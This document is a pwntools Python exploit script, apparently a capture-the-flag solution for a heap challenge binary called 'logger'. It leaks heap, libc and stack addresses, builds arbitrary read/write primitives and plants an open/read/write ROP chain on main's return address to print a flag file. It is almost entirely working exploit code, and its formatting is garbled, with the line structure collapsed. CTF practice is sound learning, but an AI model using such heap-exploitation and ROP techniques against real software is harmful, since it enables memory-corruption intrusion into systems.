1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162
| import re from pwn import * import binascii context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h']
heap_base = 0 libc_base = 0 stack_addr = 0
local = 0 if local: p = process("./logger") else: p = remote('localhost', 45125)
def init(l, n): p.sendlineafter(b"len: ", l) p.sendafter(b"name: ", n)
def my_new(idx, l, msg): p.sendlineafter(b"> ", b'1') p.sendlineafter(b"idx: ", idx) p.sendlineafter(b"len: ", l) if msg: p.sendlineafter(b"msg: ", msg)
def my_edit(idx, msg): p.sendlineafter(b"> ", b'4') p.sendlineafter(b"idx: ", idx) if msg: p.sendlineafter(b"msg: ", msg)
def my_show(idx): p.sendlineafter(b"> ", b'3') p.sendlineafter(b"idx: ", idx) return p.recvuntil(b"1. new\n")
def my_delete(idx): p.sendlineafter(b"> ", b'2') p.sendlineafter(b"idx: ", idx)
def my_bye(): p.sendlineafter(b"> ", b'5')
def leak_heap_addr(): global heap_base init(b"1", b"")
my_new(b"0", b"0", b"") tmp = my_show(b"0") idx = tmp.index(b"msg: ") + 5 heap_base = u64(tmp[idx: idx+6].ljust(8, b"\x00")) - 3632 print("heap_base: ", hex(heap_base))
def init_primitives(): my_new(b"1", str(0x60).encode(), b"1") my_new(b"2", str(0x60).encode(), b"1")
my_delete(b"0") my_new(b"0", str(0x60).encode(), b"1") my_edit(b"7", b"") my_edit(b"0", b"A" * 0x7)
def write_primitives(addr, data): print(f"write {binascii.hexlify(data).decode()} to {hex(addr)}") my_edit(b"7", p64(addr) + p64(0) + b"a" * 7) my_edit(b"0", data)
def read_primitives(addr): print(f"read from {hex(addr)}") my_edit(b"7", p64(addr) + p64(0) + b"a" * 7) return my_show(b"0")
def leak_libc_addr(): global libc_base my_new(b"3", b"80", b"1") print(f"leak libc address from {hex(heap_base + 672)}") target = heap_base + 672 - 8 write_primitives(target, p64(1072+1))
write_primitives(target - 8 + 1072 + 8, p64(0x20+1)) write_primitives(target - 8 + 1072 + 8 + 0x20, p64(0x20+1)) my_delete(b"3")
tmp = read_primitives(target + 8) idx = tmp.index(b"msg: ") + 5 libc_base = u64(tmp[idx: idx+6].ljust(8, b"\x00")) - 2014176 print("libc base: ",hex(libc_base))
def leak_stack(): global stack_addr environ = libc_base + 2028256 print("environ: ", hex(environ)) tmp = read_primitives(environ) idx = tmp.index(b"msg: ") + 5 stack_addr = u64(tmp[idx: idx+6].ljust(8, b"\x00")) print("stack_addr: ",hex(stack_addr))
def set_rop(): main_ret_addr = stack_addr - 256
rop_gadgets = b"".join(map(lambda x:p64(x), [ libc_base + 0x26b72, libc_base + 2011136, libc_base + 0x27529, 0, libc_base + 1117776,
libc_base + 0x26b72, 3, libc_base + 0x27529, libc_base + 2011136, libc_base + 0x162866, 0x123, 0x123, libc_base + 1118512,
libc_base + 0x26b72, 1, libc_base + 0x27529, libc_base + 2011136, libc_base + 0x162866, 0x123, 0x123, libc_base + 1118672, ])) print("main frame's return address: ",hex(main_ret_addr)) print("buffer: ", hex(libc_base + 2011136)) write_primitives(main_ret_addr, rop_gadgets) if not local: write_primitives(libc_base + 2011136, b"/home/logger/flag\x00") else: write_primitives(libc_base + 2011136, b"./flag\x00")
def run_rop(): my_bye()
leak_heap_addr() init_primitives() leak_libc_addr() leak_stack() set_rop() run_rop() print(re.search(b"FLAG{.*}", p.recvall()).group(0).decode()) if local: gdb.attach(p)
p.interactive()
|